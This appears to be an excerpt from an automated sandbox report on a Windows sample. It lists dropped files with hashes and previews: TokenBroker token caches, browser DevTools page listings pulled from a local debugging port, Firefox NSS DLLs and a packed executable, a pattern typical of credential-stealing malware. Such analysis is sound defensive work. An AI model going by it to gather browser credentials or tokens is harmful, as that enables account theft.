SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjui1zNtoCO3INA3n/AtEUKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynxhIFKtSmd6qE7lFoC
MD5:	73B2A9D62EAD82FDF328960B0E8EF0F4
SHA1:	44B606441D76BC31486150B690B7CE7DD147174B
SHA-256:	F3820EA1129C01F359C2C70C0BE5A415F02D8ED17B679E830D44EF5DBBCCF314
SHA-512:	E4ED5A3F1A6CD26BD443835AF117D305203577ED7AB16A31BDD76066754938281CA350976D6C2AA9F5D8FB95617431C5A34529254D17C07A323B79A57AA75C8D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c59b937e-1068-43da-a816-592ce2dfd239.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46370
Entropy (8bit):	6.086873144830602
Encrypted:	false
SSDEEP:	768:DMkbJrT8IeQcrQgxKyiNi1zNtoCO3I9XZ1nn8YWP218xCio8JDSgzMMd6qD47u3U:DMk1rT8HRKDhIeP218xFo8tSmd6qE7l
MD5:	6180035D8B9DAD3B058166A3866B6D7B
SHA1:	EFE60C8F1CB9BF6E2E1F458DAAAAEE2D719A009B
SHA-256:	3CD12E0A660CA1CD0DAD4DDB9BF082B5E70A7E6C9C22AFA21D808702FA4957D0
SHA-512:	BB3E8FC666C3597811F9E40C53FCAA2A05955DE68556FADCC59B66AAE667207E59C72A37D7EA4D0A87D490BF36131AD7877B687653CA28A80773DB4671DC3B75
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375877840318426","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"cf719267-3f32-4f6d-9f53-09de4e346ea3"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e3093ebd-6d80-4f0d-ae27-4a2c448a9aeb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.0959286227185805
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjui1zNtoCO3INA3n/AtEUKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynxhIFKtSmd6qE7lFoC
MD5:	73B2A9D62EAD82FDF328960B0E8EF0F4
SHA1:	44B606441D76BC31486150B690B7CE7DD147174B
SHA-256:	F3820EA1129C01F359C2C70C0BE5A415F02D8ED17B679E830D44EF5DBBCCF314
SHA-512:	E4ED5A3F1A6CD26BD443835AF117D305203577ED7AB16A31BDD76066754938281CA350976D6C2AA9F5D8FB95617431C5A34529254D17C07A323B79A57AA75C8D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.844157680778616
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxLxl9Il8uUnkJloxUL0gzp9u//Q0kx8Dld1rc:maYAYlHL0gzDu3Q78i
MD5:	D4948EBEEC524281D164508203D8C4AD
SHA1:	6C08F24FD395B1461A2E58E657DB62323EC4E2EA
SHA-256:	289F7222200A5050696840DB0F8716BA00F62CCF7D3BA36F61D38160E43504AA
SHA-512:	A586A854797A790BFD11DCD003FC8C54F77E1ED3687FB1617B324A59745117DD1AED94F63348D99405CBB5BE561A8C3510A077E00CCEC5995441F9008442A74D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.p.G.3.O.4.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.R.X.J.W.l.d.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.996886879209622
Encrypted:	false
SSDEEP:	96:vYezCtIJxMveqMDLD6HGpHiHgUPHv5gq/:vbGsxMveHDLD6H+HiHgcHvl/
MD5:	C177DD1791D522C486E712B8247C8755
SHA1:	C0775A41015262CB5D1CB0CB768470FF053DC492
SHA-256:	4E70BC82D46ACE3B65F108F83DCCAB2B31F8C5D066E2528376ED35BE71BA637B
SHA-512:	77EE77D1CF50E7350FF127AA3EBB4E8874361ECD95A9B7BA8F0C341B85B9E86089E8BD29FD45086A099791171BE4CF270128802B11D9C54E2898880DFEF7D5BA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".d.v.p.T.w.e.Y.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.R.X.J.W.l.d.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.895101177116552
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xNxl9Il8uUFOOnljUBREMP/5LOR/qgkcCsd/vc:azYeZxUHEMPwAgkx
MD5:	BB326B37FDA590CD5F005310FC07814A
SHA1:	D61096D5B23C969ABCEB0C9DA3B8DF2FEE03A675
SHA-256:	8D25AAB071812A487F716C3CE41B327E2F0FC240CCD85792C4BA3F1F22BC830F
SHA-512:	1491AF5075B30E2B11AF3381FCC3C6F8494AC886A3394953772C6E810356DE365D4124A1F4E2830C7A2C933BCFD71B805372DAFA4D0AA9A362E80D01153AB687
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.g.L.h.8.b.d.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.R.X.J.W.l.d.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.396995189863739
Encrypted:	false
SSDEEP:	96:6NnQUjDHQU0NnQYbQYNnQ49QdNnQb9rdgEQb1NnQYQUNnQ4DQoNnQVjewQVNNnQV:6N0NhNUN4oNfN1zNWje5NNOz
MD5:	82FB866FAF608A84B435499578B924DC
SHA1:	BE0ED10DE0D009662D2F5F1CF357F11232331E1E
SHA-256:	2B3F76BC4C73BE87719C52EDB796B979AE940005F71EBB009240F2C3295BD36B
SHA-512:	A590C79AE4472D0FF9813D42056BC74A24FC3DE979548533CA26D1BA85B30E5A83266CDDB0B67194DEAE7758F0B0F423713A5CCF702BC7D7729D78CF372D870A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D152DBA9292E1D3FAE15DF70E405BD4C",.. "id": "D152DBA9292E1D3FAE15DF70E405BD4C",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D152DBA9292E1D3FAE15DF70E405BD4C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/222943D64A89CED42189A709E10667A4",.. "id": "222943D64A89CED42189A709E10667A4",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/222943D64A89CED42189A709E10667A4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.381992803572615
Encrypted:	false
SSDEEP:	48:SfNaoQN0DG0aTEQN3fNaoQN5gQNTfNaoQNXDQOYfNaoQ6QXH0UrU0U8Qg:6NnQckTEQtNnQEQhNnQpQnNnQ6Q30Urz
MD5:	BB98BC4794CC959587ABB56EA86DC66E
SHA1:	AFC0C624741B3FF318CC959FF7261C6683D26EF8
SHA-256:	C022ADE09BE393504AF91728A356D9C05E26C93B8F50D67E12860C30E7CA6B05
SHA-512:	EE63D438F346E6826596C6618B6C1CD074C740EB47C0B9D586E26C09314B990266F04DE3A1216FC5F2DF0B6531D66202C588F2307B437EDB0B0EDCDC87FC9CAE
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6B1BD3CD56524B7165D323CAA5149CB1",.. "id": "6B1BD3CD56524B7165D323CAA5149CB1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6B1BD3CD56524B7165D323CAA5149CB1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1A281C689C8A246648A6DED8C759CE36",.. "id": "1A281C689C8A246648A6DED8C759CE36",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1A281C689C8A246648A6DED8C759CE36"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1830912
Entropy (8bit):	7.944848255704407
Encrypted:	false
SSDEEP:	24576:3Tq6o4789eWKNP3lZLErVdhBJnxtuNskmme7odfqnvorfh6suwifBCgOgpFStxgf:0w9ZLwxiNsWRdfqI6sHSpFSyRMG
MD5:	BA4B1F7686F54035029326B69B13145C
SHA1:	F200EA6B1574EADF38AF7F23CC30F475AC4E3A2F
SHA-256:	3D827BC28190CDDF5E51C6F6183CF936F88276FF6854C2E87013902E85F9493E
SHA-512:	6BB6598564C7AA643700EECDE1DDF5178EC1777547AC18A1937F29994AEA103869134BF88686A1E86A0234F3BA2CCEDAFEE757196B2B63A3CEB5F55C5F3FB0D6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@"...... j...........@..........................Pj.....I;....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... ..*...$......t..............@...uafzsnka.`....O..T...v..............@...hprbfhsa......j.....................@....taggant.0... j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0c25d27c-4873-454e-adc2-9dc0f4387be9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
